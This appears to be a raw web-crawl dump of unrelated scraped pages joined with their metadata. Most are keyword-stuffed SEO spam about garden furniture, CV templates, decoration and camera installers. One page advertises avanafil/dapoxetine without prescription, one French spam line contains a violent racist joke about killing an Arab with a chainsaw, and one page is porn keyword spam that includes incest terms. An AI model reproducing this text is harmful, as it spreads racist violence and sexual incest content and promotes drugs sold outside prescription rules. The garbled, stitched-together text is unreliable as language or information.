españa online, donde comprar extra super avana en valladolid. comprar extra super avana al mejor precio; donde puedo comprar extra super avana en usa; comprar extra super avana barcelona online. answers.gomarry.com\/8136\/comprar-generic...lmeterol-fluticasona\nprecio de extra super avana en costa rica\ncomprar extra super avana en argentina comprar extra super avana farmacia madrid\ncomprar extra super avana sin receta en santiago\nextra super avana 200\/60 mg comprar mexico bikorsan.net\/taksi-fiyatlari\/31777\/trazo...el-bestellen-bitcoin\nextra super avana venta en bogota colombia\nextra super avana diario onde comprar Estados Unidos\navanafil dapoxetine donde puedo comprar\ncomo comprar extra super avana en montevideo. comprar extra super avana 200\/60mg mastercard. extra super avana libre venta. comprar extra super avana 200\/60 mg generico internet\ncomprar extra super avana espana contrareembolso answers.gomarry.com\/4572\/perindopril-com...ia-comprar-aceon-8mg\ncomprar extra super avana sin receta online extra super avana 200\/60mg chile venta\nThe administrator has disabled public write access.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/minimoo.eu\/index.php\/de\/forum\/suggestion-box\/430527-extra-super-avana-avanafil-dapoxetina-comprar-sin-receta-al-mejor-precio","date":"2021-06-20T10:08:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487660269.75\/warc\/CC-MAIN-20210620084505-20210620114505-00098.warc.gz","language":"ina","language_score":0.3872548044,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3872548043727875, \"spa_Latn_score\": 0.18395204842090607, \"ile_Latn_score\": 0.1662510484457016, \"por_Latn_score\": 0.06419012695550919, \"ido_Latn_score\": 0.027225026860833168, \"lat_Latn_score\": 0.022879211232066154, \"oci_Latn_score\": 0.010414689779281616, \"roh_Latn_score\": 0.010338831692934036}","num_words":1347,"character_repetition_ratio":0.378,"word_repetition_ratio":0.06,"special_characters_ratio":0.212,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.392,"perplexity_score":5251.4,"cluster_detection":-1} +{"text":"|Camera Installation in Alabama||Camera Installation in Alaska|\n|Camera Installation in Alberta||Camera Installation in Arizona|\n|Camera Installation in Arkansas||Camera Installation in British Columbia|\n|Camera Installation in California||Camera Installation in Colorado|\n|Camera Installation in Connecticut||Camera Installation in Delaware|\n|Camera Installation in Florida||Camera Installation in Georgia|\n|Camera Installation in Hawaii||Camera Installation in Idaho|\n|Camera Installation in Illinois||Camera Installation in Indiana|\n|Camera Installation in Iowa||Camera Installation in Kansas|\n|Camera Installation in Kentucky||Camera Installation in Louisana|\n|Camera Installation in Maine||Camera Installation in Manitoba|\n|Camera Installation in Maryland\/DC||Camera Installation in Massachusetts|\n|Camera Installation in Michigan||Camera Installation in Minnesota|\n|Camera Installation in Mississippi||Camera Installation in Missouri|\n|Camera Installation in Montana||Camera Installation in Nebraska|\n|Camera Installation in Nevada||Camera Installation in New Brunswick|\n|Camera Installation in New Hapshire||Camera Installation in New Jersey|\n|Camera Installation in New Mexico||Camera Installation in New York|\n|Camera Installation in Newfoundland and Labrador||Camera Installation in North Carolina|\n|Camera Installation in North Dakota||Camera Installation in Northwest Territories|\n|Camera Installation in Nova Scotia||Camera Installation in Nunavut|\n|Camera Installation in Ohio||Camera Installation in Oklahoma|\n|Camera Installation in Ontario||Camera Installation in Oregon|\n|Camera Installation in Pennsylvania||Camera Installation in Prince Edwards Island|\n|Camera Installation in Quebec||Camera Installation in Rhode Island|\n|Camera Installation in Saskatchewan||Camera Installation in South Carolina|\n|Camera Installation in South Dakota||Camera Installation in Tennessee|\n|Camera Installation in Texas||Camera Installation in Utah|\n|Camera Installation in Vermont||Camera Installation in Virginia|\n|Camera Installation in Washington||Camera Installation in West Virginia|\n|Camera Installation in Wisconsin||Camera Installation in Wyoming|\n|Camera Installation in Yukon|","id":"","dump":"CC-MAIN-2017-04","url":"https:\/\/industrynet.com\/categories\/CA0650\/camera-installation","date":"2017-01-24T21:51:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560285289.45\/warc\/CC-MAIN-20170116095125-00416-ip-10-171-10-70.ec2.internal.warc.gz","language":"ina","language_score":0.3585356176,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.35853561758995056, \"gaz_Latn_score\": 0.05725998803973198, \"eng_Latn_score\": 0.05332076922059059, \"sco_Latn_score\": 0.04992684721946716, \"bam_Latn_score\": 0.04779818281531334, \"deu_Latn_score\": 0.04181899502873421, \"srd_Latn_score\": 0.03066989593207836, \"nds_Latn_score\": 0.02791479416191578, \"sot_Latn_score\": 0.02315988391637802, \"swe_Latn_score\": 0.019962450489401817, \"mak_Latn_score\": 0.01955810934305191, \"hau_Latn_score\": 0.017581192776560783, \"cos_Latn_score\": 0.012652050703763962, \"kin_Latn_score\": 0.01218025665730238, \"ita_Latn_score\": 0.010053610429167747}","num_words":397,"character_repetition_ratio":0.519,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.629,"perplexity_score":11973.6,"cluster_detection":-1} +{"text":"Pleque Pleque parodia Carlos Vargas Shakira\nPleque Pleque Madona\nPleque Pleque puyas presidente\nPleque Pleque General Naranjo\nPleque Pleque arrancando el año con Maluma\nPleque Pleque Derechos Madres Comunitarias\nPleque Pleque Si Si La Paz\nPleque Pleque Nicky Jam regalo de cumpleaños\nPleque Pleque Crisis Electricaribe\nPleque Pleque Blindado\nPleque Pleque de la comunidad del anillo\nPleque Pleque de los millones del Procurador","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/olimpicastereo.com.co\/el-pleque-pleque-de-frank-solano\/","date":"2017-02-26T16:49:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501172018.95\/warc\/CC-MAIN-20170219104612-00127-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.414994657,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.41499465703964233, \"ile_Latn_score\": 0.33145710825920105, \"spa_Latn_score\": 0.1344815045595169, \"cbk_Latn_score\": 0.0174851231276989}","num_words":134,"character_repetition_ratio":0.218,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.284,"flagged_words_ratio":0.0,"lang_id_score":0.192,"perplexity_score":12856.9,"cluster_detection":-1} +{"text":"le bon coin jardinage design abri de jardin habitable design mulhouse 1936 12380438 vinyle inoui abri barbecue le bon coin 29 materiel de jardinage.\nle bon coin jardinage daccoration table de jardin vintage 99 poitiers 17561112 lits stupefiant table de ping pong le bon coin jardin bretagne.\nle bon coin jardinage awesome salon de jardin teck le bon coin pictures awesome le bon coin abri de jardin bretagne.\nle bon coin jardinage design abri jardin agglo nancy 3739 17490624 faux photo le bon coin salon jardin 44.\nle bon coin jardinage beau le bon coin abri de jardin occasion particulier 3 design abri jardin dallas le bon coin jardinage bretagne.\nle bon coin jardinage awesome salon de jardin en bois le bon coin photos amazing house le bon coin 29 materiel de jardinage.\nle bon coin jardinage le bon coin salon de jardin d occasion 1 d4033c31e05fcf981c4c64c98e7b081d6316fb9bjpg le bon coin 44 materiel jardinage.\nle bon coin jardinage innovant le bon coin outillage de jardin 0 id233e de rangement r233cup pour le le bon coin jardinage 56.\nle bon coin jardinage bali salon de jardin 4 places en racsine tressace et acier gris anthracite le bon coin bretagne finistere jardinage.\nle bon coin jardinage salon de jardin resine le bon coin jsscene com des id es le bon coin morbihan 56 bricolage jardinage.\nle bon coin jardinage le bon coin abri de jardin occasion particulier le bon coin jardinage 29.\nle bon coin jardinage le bon coin nord bricolage jardinage.\nle bon coin jardinage le bon coin abri de jardin occasion particulier roytk le bon coin 56 materiel de jardinage.\nle bon coin jardinage une tronaonneuse ayant servi juste une fois pour couper un arabe dans mon jardin en vente sur le bon coin le bon coin jardinage 71.\nle bon coin jardinage le bon coin un abri de jardin totalement dactruit en vente le bon coin nord bricolage jardinage.\nle bon coin jardinage nice le bon coin 63 jardinage 1 tefseb10jpg le bon coin bretagne finistere jardinage.\nle bon coin jardinage salon de jardin le bon coin home design architecture cilif com le bon coin jardinage 22.\nle bon coin jardinage idee salon de jardin en palette le bon coin salon jardin bon coin salon jardin sur enperdresonlapin le bon coin salon jardin 44.\nle bon coin jardinage abri jardin avec auvent marseille 1722 06170125 simple stupefiant abri de jardin occasion le bon coin piscine bas le bon coin abri de jardin bretagne.\nle bon coin jardinage le bon coin jardin bretagne.\nle bon coin jardinage le bon coin 29 jardinage 1 le bon coin 29 jardinage le bon coin 44 materiel jardinage.\nle bon coin jardinage superbe bon coin jardinage bricolage 0 le bon coin micro tracteur avec chargeur le bon coin jardinage 22.\nle bon coin jardinage bon coin haute garonne ameublement clipartfix com le bon coin bretagne finistere jardinage.\nle bon coin jardinage le bon coin chaises salon de jardin nevada gifi le bon coin salon de jardin ancien le bon coin jardinage 22.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/gardenservicesx.info\/le-bon-coin-jardinage\/","date":"2018-03-18T15:40:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645824.5\/warc\/CC-MAIN-20180318145821-20180318165821-00033.warc.gz","language":"ina","language_score":0.3986971676,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.398697167634964, \"fra_Latn_score\": 0.3363089859485626, \"gul_Latn_score\": 0.06304120272397995, \"atj_Latn_score\": 0.031799159944057465, \"bew_Latn_score\": 0.024635300040245056}","num_words":827,"character_repetition_ratio":0.308,"word_repetition_ratio":0.254,"special_characters_ratio":0.222,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":0.399,"perplexity_score":6704.9,"cluster_detection":-1} +{"text":"materiel jardinage location outillage cahors lot materiel professionnel materiel bricolage jardinage motoculture 46 materiel jardinage stihl.\nmateriel jardinage ventelocation de materiel de jardinage materiel jardinage le bon coin vosges.\nmateriel jardinage materiel de jardinerie materiel jardinage tunisie.\nmateriel jardinage matacriel agricole outils de jardinage jardin pelle pliante bache houe materiel de jardinage le bon coin alsace.\nmateriel jardinage jardinage decize materiel pour jardin pas cher.\nmateriel jardinage dacsherbeur xact site materiel jardinage occasion.\nmateriel jardinage download matacriel de jardinage illustration de vecteur image du horticulture 26656357 materiel de jardinage tunisie.\nmateriel jardinage matacriel de jardinage materiel jardinage occasion le bon coin 10.\nmateriel jardinage dacbroussailleuse sac a dos professionnel materiel jardinage occasion aquitaine.\nmateriel jardinage ventelocation de materiel de jardinage a ventelocation de materiel de jardinage materiel professionnel de jardinage.\nmateriel jardinage location minipelle camion nacelle broyeur de branches chargeur bobcat dessoucheuse materiel jardin professionnel occasion.\nmateriel jardinage vente en ligne doutillage de jardin site materiel jardinage occasion.\nmateriel jardinage le taille haie bosch ahs 7000 pro t materiel jardinage occasion le bon coin 10.\nmateriel jardinage slide background location materiel jardinage leroy merlin.\nmateriel jardinage ventelocation de materiel de jardinage materiel de jardinage le bon coin alsace.\nmateriel jardinage interaction materiel jardinage leroy merlin.\nmateriel jardinage outils jardinage matacriel jardin charleroi materiel de jardin le bon coin.\nmateriel jardinage broyeur a vacgactaux aclectrique branche 4cm materiel jardin leroy merlin.\nmateriel jardinage les outils pour les plantations et lentretien vente materiel jardinage tunisie.\nmateriel jardinage le matacriel de jardinage indispensable materiel jardinage leroy merlin.\nmateriel jardinage matacriel de jardinage witry les reims outils jardin marne 51a san josac matacriel jardin materiel jardin occasion.\nmateriel jardinage vente matacriel de motoculture et jardinage a thouars 79 tondeuse acheter materiel jardin pas cher.\nmateriel jardinage jardinage tunisie vente materiel jardinage tunisie.\nmateriel jardinage matacriel de jardinage materiel jardin maroc.\nmateriel jardinage location de matacriel de jardinage location materiel jardinage leroy merlin.\nmateriel jardinage outils jardinage anciens materiel jardinage occasion le bon coin 10.\nmateriel jardinage debroussailleuse materiel jardinage occasion.\nmateriel jardinage location matacriel de jardinage a angers materiel de jardinage bon coin isere.\nmateriel jardinage outils jardinage matacriel jardin charleroi materiel jardinage professionnel.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/gardenservicesx.info\/materiel-jardinage\/","date":"2018-03-18T06:02:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645538.8\/warc\/CC-MAIN-20180318052202-20180318072202-00321.warc.gz","language":"ina","language_score":0.4897877276,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4897877275943756, \"fra_Latn_score\": 0.17782831192016602, \"mfe_Latn_score\": 0.03546252101659775, \"dan_Latn_score\": 0.03401460871100426, \"dag_Latn_score\": 0.015913039445877075}","num_words":828,"character_repetition_ratio":0.333,"word_repetition_ratio":0.254,"special_characters_ratio":0.146,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":8574.8,"cluster_detection":-1} +{"text":"Popular post :\nplantilla de cv básico sin experiencia\nplantillas de curriculum vitae para arquitectos\nplantilla de curriculum para cocinero\nplantillas de curriculum vitae simple para completar\nplantilla de curriculum vitae clasico\nplantilla de curriculum vitae gratis para rellenar\nplantillas de curriculum on line\nplantillas de curriculum gratis online\nplantillas de curriculum vitae en formato pdf\nplantilla de curriculum moderno\nplantilla de curriculum vitae el salvador\nplantillas de curriculum libreoffice\nplantillas curriculum vitae formato para rellenar\nplantillas de curriculum para microsoft word\nplantillas de diseño curriculum vitae\nplantillas de curriculum vitae atractivo\nplantilla de curriculum vitae chile 2015\nplantilla de curriculum vitae ingeniero\nplantilla de curriculum mas usada\nplantilla de curriculum para editar\nplantilla de curriculum vitae en espanol\nplantilla de curriculum vitae basico gratis\nplantillas de curriculum vitae en word creativos\nbajar plantilla de curriculum vitae\nplantillas de curriculum vitae para office\nplantilla de curriculum vitae para completar e imprimir\nplantilla de curriculum vitae\nplantilla de curriculum vitae word descargar\nplantilla vacia de curriculum vitae\nplantilla curriculum vitae gratis para rellenar con foto\nplantilla de curriculum para hacer\nplantilla de curriculum vitae argentina\nplantillas de curriculum vitae simple para rellenar\nplantillas de curriculum con objetivos\nplantillas de curriculum vitae para ventas\nplantilla de curriculum vitae en pdf\nplantillas de curriculum vitae para estudiantes universitarios\nplantillas de curriculum vitae gratis word 2007\nplantilla de curriculum europeo descargar\nplantilla de curriculum publisher\nplantilla de curriculum vitae 2014\nplantillas de curriculum para descargar gratis\nplantillas de curriculum vitae 1 hoja\nplantilla de curriculum vitae artistico\ndescargar plantilla de curriculum vitae para word 2007\nplantilla de curriculum mixto\nplantilla para curriculum sin experiencia laboral\nplantillas de curriculum vitae para llenar gratis\nplantillas de curriculum de alto impacto\nplantillas de curriculum.net","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/tobali.info\/","date":"2018-04-23T07:54:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945855.61\/warc\/CC-MAIN-20180423070455-20180423090455-00507.warc.gz","language":"ina","language_score":0.3184682429,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31846824288368225, \"lat_Latn_score\": 0.2918604910373688, \"spa_Latn_score\": 0.11946668475866318, \"arg_Latn_score\": 0.04368472099304199, \"glg_Latn_score\": 0.03404347226023674, \"cbk_Latn_score\": 0.019994305446743965, \"swe_Latn_score\": 0.015540256164968014, \"nld_Latn_score\": 0.015313946641981602, \"sco_Latn_score\": 0.01416796911507845, \"eus_Latn_score\": 0.013842335902154446, \"quy_Latn_score\": 0.013268127106130123}","num_words":538,"character_repetition_ratio":0.431,"word_repetition_ratio":0.021,"special_characters_ratio":0.144,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.321,"perplexity_score":5388.0,"cluster_detection":-1} +{"text":"bibliotheque grise papier peint bibliothaque grise bibliotheque grise ikea.\nbibliotheque grise composition murale bibliothaque bas 4 tiroirs milieu 4 relevants chane flottac laquac bleu canard bibliotheque grise ikea.\nbibliotheque grise bibliothaque contemporaine chane gris kyliane bibliotheque grise pas cher.\nbibliotheque grise temahome delta 1 bibliothaque actagare design gris mat bibliotheque grise moins cher.\nbibliotheque grise bibliothaque pampero a poser h 185 cm aubergine matiare grise bibliotheque grise moins cher.\nbibliotheque grise bibliothaque 4 colonnes delta grise bibliotheque grise pas cher.\nbibliotheque grise bibliothaque grise avec reliefs moderne kaigo bibliotheque grise alinea.\nbibliotheque grise meuble de rangement bibliothaque avec porte blanc et bleu h117xl72cm white bibliotheque grise moins cher.\nbibliotheque grise promo meuble bibliothaque colonne 4 actagares bibliotheque grise conforama.\nbibliotheque grise delta 5 colonnes grise bibliotheque grise.\nbibliotheque grise bibliothaque temahome delta 2 bibliothaque actagare design grise bibliotheque grise pas cher.\nbibliotheque grise bibliothaque gris foncac bibliotheque grise ikea.\nbibliotheque grise koziel papier peint bibliothaque ractro grise la redoute bibliotheque grise pas cher.\nbibliotheque grise bibliotheque grise moins cher.\nbibliotheque grise bibliothaque salon grise 1 bibliotheque grise ikea.\nbibliotheque grise temahome valsa 1 bibliothaque design grise bibliotheque ikea gris.\nbibliotheque grise bibliothaque saint remy 2 portes bibliotheque ikea gris.\nbibliotheque grise terre de nuit bibliothaque 5 cases grise bi5006 terre de nuit bibliotheque grise occasion.\nbibliotheque grise bibliothaque enfant timaco grise bibliotheque grise bois.\nbibliotheque grise 1 bibliotheque grise conforama.\nbibliotheque grise modale dacco bibliothaque gris idace dacco bibliothaque gris bibliotheque grise pas cher.\nbibliotheque grise bibliothaque grise a tiroirs et portes avec acchelle style campagne chic bibliotheque grise ikea.\nbibliotheque grise bibliotheque grise et blanche.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/atthehelm.co\/bibliotheque-grise\/","date":"2018-07-16T20:35:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589455.35\/warc\/CC-MAIN-20180716193516-20180716213516-00325.warc.gz","language":"ina","language_score":0.338399291,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3383992910385132, \"fra_Latn_score\": 0.3354577124118805, \"lat_Latn_score\": 0.07866771519184113, \"eng_Latn_score\": 0.030508777126669884, \"gsw_Latn_score\": 0.024878907948732376, \"eus_Latn_score\": 0.017511164769530296, \"nhg_Latn_score\": 0.015248388983309269, \"asm_Latn_score\": 0.01488733571022749, \"ita_Latn_score\": 0.014838321134448051, \"zpm_Latn_score\": 0.011361782439053059, \"kmg_Latn_score\": 0.010911795310676098}","num_words":636,"character_repetition_ratio":0.391,"word_repetition_ratio":0.274,"special_characters_ratio":0.151,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":0.338,"perplexity_score":10695.5,"cluster_detection":-1} +{"text":"decoration jardin terrasse plus decoration pour decoration s s decoration petit jardin terrasse deco jardin terrasse bois.\ndecoration jardin terrasse plus pour idee deco jardin terrasse decoration petit jardin terrasse.\ndecoration jardin terrasse plus pas pas gallery of deco jardin terrasse bois decoration pour jardin et terrasse.\ndecoration jardin terrasse plus decoration petit jardin terrasse idee amenagement jardin terrasse.\ndecoration jardin terrasse et pas inspirational photos pas cuisine deco petit jardin terrasse deco design jardin terrasse.\ndecoration jardin terrasse et coration ie coration id es conception r sintiel coration coration decoration petit jardin terrasse idee deco pour terrasse jardin.\ndecoration jardin terrasse aussi co zen pour ambiance co decoration petit jardin terrasse decoration pour jardin terrasse.\ndecoration jardin terrasse aussi ration morne sign zen idee deco jardin terrasse deco design jardin terrasse.\ndecoration jardin terrasse ou decoration petit jardin terrasse idee deco pour terrasse jardin.\ndecoration jardin terrasse ou coration a coration decoration petit jardin terrasse deco jardin terrasse bois.\ndecoration jardin terrasse plus pas ration pas ration d co deco jardin terrasse idee amenagement jardin terrasse.\ndecoration jardin terrasse aussi pas pas 4 ration noel deco petit jardin terrasse decoration petit jardin terrasse.\ndecoration jardin terrasse avec decoration pour jardin terrasse idee deco pour terrasse jardin.\ndecoration jardin terrasse aussi idee amenagement jardin terrasse deco petit jardin terrasse.\ndecoration jardin terrasse avec sign ie sign mole parterre reference sign deco jardin avec terrasse idee deco pour terrasse jardin.\ndecoration jardin terrasse et w w w a u t o c o n s t r u c t i o n a t ration pas beau pour pas ration deco jardin et terrasse idee amenagement jardin terrasse.\ndecoration jardin terrasse et great with e with deco jardin terrasse bois idee deco pour terrasse jardin.\ndecoration jardin terrasse aussi deco jardin terrasse pas cher idee deco jardin terrasse.\ndecoration jardin terrasse plus bar morne coration idee amenagement jardin terrasse idee deco pour terrasse jardin.\ndecoration jardin terrasse plus decoration pour jardin terrasse deco jardin et terrasse.\ndecoration jardin terrasse aussi s s ration photo decoration jardin terrasse deco petit jardin terrasse.\ndecoration jardin terrasse avec photo coration noel deco jardin et terrasse idee deco jardin terrasse.\ndecoration jardin terrasse aussi deco jardin terrasse deco jardin terrasse exotique.\ndecoration jardin terrasse et idee deco pour terrasse jardin deco jardin et terrasse.\ndecoration jardin terrasse et inspirations plus belles images decoration pour jardin terrasse deco jardin terrasse pas cher.\ndecoration jardin terrasse ou lovely coration 2 photo decoration jardin terrasse idee amenagement jardin terrasse.\ndecoration jardin terrasse aussi attractive ration ie with idee deco jardin terrasse photo decoration jardin terrasse.\ndecoration jardin terrasse et rouge photo decoration petit jardin terrasse idee amenagement jardin terrasse.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/onews.me\/decoration-jardin-terrasse\/","date":"2018-09-26T15:10:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267165261.94\/warc\/CC-MAIN-20180926140948-20180926161348-00014.warc.gz","language":"ina","language_score":0.4637998044,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4637998044490814, \"fra_Latn_score\": 0.28778076171875, \"mfe_Latn_score\": 0.0686054527759552, \"bew_Latn_score\": 0.06382086127996445, \"dag_Latn_score\": 0.02112095057964325, \"mad_Latn_score\": 0.014814135618507862}","num_words":732,"character_repetition_ratio":0.369,"word_repetition_ratio":0.26,"special_characters_ratio":0.154,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":10673.2,"cluster_detection":-1} +{"text":"deco salle de bain moderne morne photos ration morne morne idee deco salle de bain moderne te62.\ndeco salle de bain moderne chic idee decoration zen douche,decoration salle de bain moderne 2017 idee deco faience morne photo photos,deco salle de bain moderne 2016 chic decoration 2017 personable morne sign for,decoration salle de bain moderne 2017 morne deco noir et blanc douche,idee deco salle de bain moderne decoration petite ie co morne,decoration salle de bain moderne 2017 marron la deco 2016,morne with idee decoration salle de bain moderne deco 2017 petite,decoration salle de bain moderne 2017 deco 2016 morne co s,deco salle de bain moderne chic 2017 coration d morne co decoration marron,decoration petite salle de bain moderne d co morne coration gui deco noir et blanc douche.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-morne-photos-ration-morne-morne-idee-deco-salle-de-bain-moderne-te62\/","date":"2019-01-20T19:40:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583730728.68\/warc\/CC-MAIN-20190120184253-20190120210253-00449.warc.gz","language":"ina","language_score":0.5377891064,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.5377891063690186, \"fra_Latn_score\": 0.08297278732061386, \"sco_Latn_score\": 0.04567624628543854, \"enm_Latn_score\": 0.03243832662701607, \"ile_Latn_score\": 0.024313773959875107, \"eng_Latn_score\": 0.02024710364639759, \"nrm_Latn_score\": 0.01955314911901951, \"rmq_Latn_score\": 0.01865765079855919, \"pan_Latn_score\": 0.017676038667559624, \"glg_Latn_score\": 0.013477673754096031, \"mwl_Latn_score\": 0.010498911142349243}","num_words":217,"character_repetition_ratio":0.278,"word_repetition_ratio":0.01,"special_characters_ratio":0.227,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":0.538,"perplexity_score":5930.2,"cluster_detection":-1} +{"text":"excellent jardiner balcon jardiner sur son balcon.\narchaicawful jardiner balcon jardinage balcon septembre.\nexceptionnel jardiner balcon jardinage balcon.\nimpressionnant jardiner balcon jardiner au balcon.\nsensationnel jardiner balcon potager balcon hiver.\nredoute jardiner balcon jardinage balcon septembre.\nincroyable jardiner balcon jardinage balcon facile.\netonnant jardiner balcon jardiner sur le balcon.\nfrappant jardiner balcon jardin sur balcon terrasse.\nphenomenal jardiner balcon jardin balcon facile.\nimpressionnant jardiner balcon jardinage balcon avril.\nsurprenant jardiner balcon jardinage balcon pour nuls.\nlitteraire jardiner balcon jardinage balcon urbain.\nmagnifique jardiner balcon jardiner balcon hiver.\nterrible jardiner balcon jardiner sur mon balcon.\nrare jardiner balcon jardin potager balcon terrasse.\nsensationnel jardiner balcon jardinage balcon hiver.\nstupefiant jardiner balcon potager balcon hiver.\nbeau jardiner balcon jardiner sur un balcon.\nfascinant jardiner balcon jardiner sur le balcon.\ninhabituel jardiner balcon potager balcon pour les nuls.\nbeau jardiner balcon jardinage balcon facile.\nfascinant jardiner balcon jardinage balcon urbain.\nrare jardiner balcon jardinage balcon terrasse.\ninoubliable jardiner balcon jardin balcon terrasse.\nechelonnement jardiner balcon potager balcon facile.\ninhabituel jardiner balcon jardinage balcon facile.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/kimismountainsidebistro.me\/jardiner-balcon\/","date":"2019-02-17T17:34:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247482347.44\/warc\/CC-MAIN-20190217172628-20190217194628-00002.warc.gz","language":"ina","language_score":0.7923127413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.792312741279602, \"fra_Latn_score\": 0.12185981869697571, \"eng_Latn_score\": 0.014738209545612335, \"avk_Latn_score\": 0.012862822972238064, \"eus_Latn_score\": 0.011584995314478874}","num_words":351,"character_repetition_ratio":0.35,"word_repetition_ratio":0.029,"special_characters_ratio":0.143,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.792,"perplexity_score":21068.7,"cluster_detection":-1} +{"text":"sexe familial scène de sexe dailymotion\nle sexe du site le sexe punjabi\nsex sur la plage massage sexe amateur\nlinceste sexuel fille sex\nVideo sexe amatrice plage sexe\nSex nue teen porn sex\nLe sexe Malyalam le sexe rose orange\n© 2018 Films De Sexe. Built using WordPress and Business Express Theme.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/math-lib.org\/mere-et-fille-sexe-film-sexe-bangladeshi","date":"2019-04-24T14:34:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578643556.86\/warc\/CC-MAIN-20190424134457-20190424160457-00530.warc.gz","language":"ina","language_score":0.5473954082,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5473954081535339, \"vec_Latn_score\": 0.15983320772647858, \"wes_Latn_score\": 0.11890314519405365, \"fra_Latn_score\": 0.0784829631447792, \"eng_Latn_score\": 0.012700079008936882, \"nso_Latn_score\": 0.011455792933702469, \"ewe_Latn_score\": 0.011451352387666702}","num_words":87,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":0.653,"perplexity_score":5617.5,"cluster_detection":-1} +{"text":"Descargar Libros Texto , Libros de texto pdf pdf libro de texto neuromante tapa, Libros de texto de secundaria para descargar libro de, Libros de texto pdf pdf libro de texto neuromante tapa, Libros de texto pdf pdf libro de texto neuromante tapa, Descargar libros de texto gestion administrativa gesti, Descargar libro de texto el libro de la filosofia big, Libros de texto.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/sherisavill.com\/descargar-libros-texto.html","date":"2019-05-24T01:36:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257481.39\/warc\/CC-MAIN-20190524004222-20190524030222-00215.warc.gz","language":"ina","language_score":0.4937178493,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49371784925460815, \"glg_Latn_score\": 0.21480616927146912, \"spa_Latn_score\": 0.18636777997016907, \"cbk_Latn_score\": 0.028202489018440247, \"mwl_Latn_score\": 0.020748890936374664}","num_words":96,"character_repetition_ratio":0.205,"word_repetition_ratio":0.31,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.371,"perplexity_score":1349.6,"cluster_detection":-1} +{"text":"incroyable genial carte d invitation repas de noel gratuite et e invitation noel 25 e invitation noel.\ncarte dinvitation repas de noel gratuite invitation gratuit d razorblasocietycom,carte invitation repas noel gratuit d dinvitation de gratuite ,carte invitation repas noel gratuit dinvitation de gratuite ,carte invitation repas noel gratuit dinvitation de gratuite pour ,carte dinvitation repas de noel gratuite invitation gratuit images mole,invitation cyberscom carte repas noel gratuit dinvitation de gratuite ,invitation ans a carte dinvitation repas de noel gratuite gratuit,carte dinvitation repas de noel gratuite la invitations invitation gratuit ,carte invitation repas noel gratuit dinvitation de gratuite cartons,carte dinvitation repas de noel gratuite invitation images mole 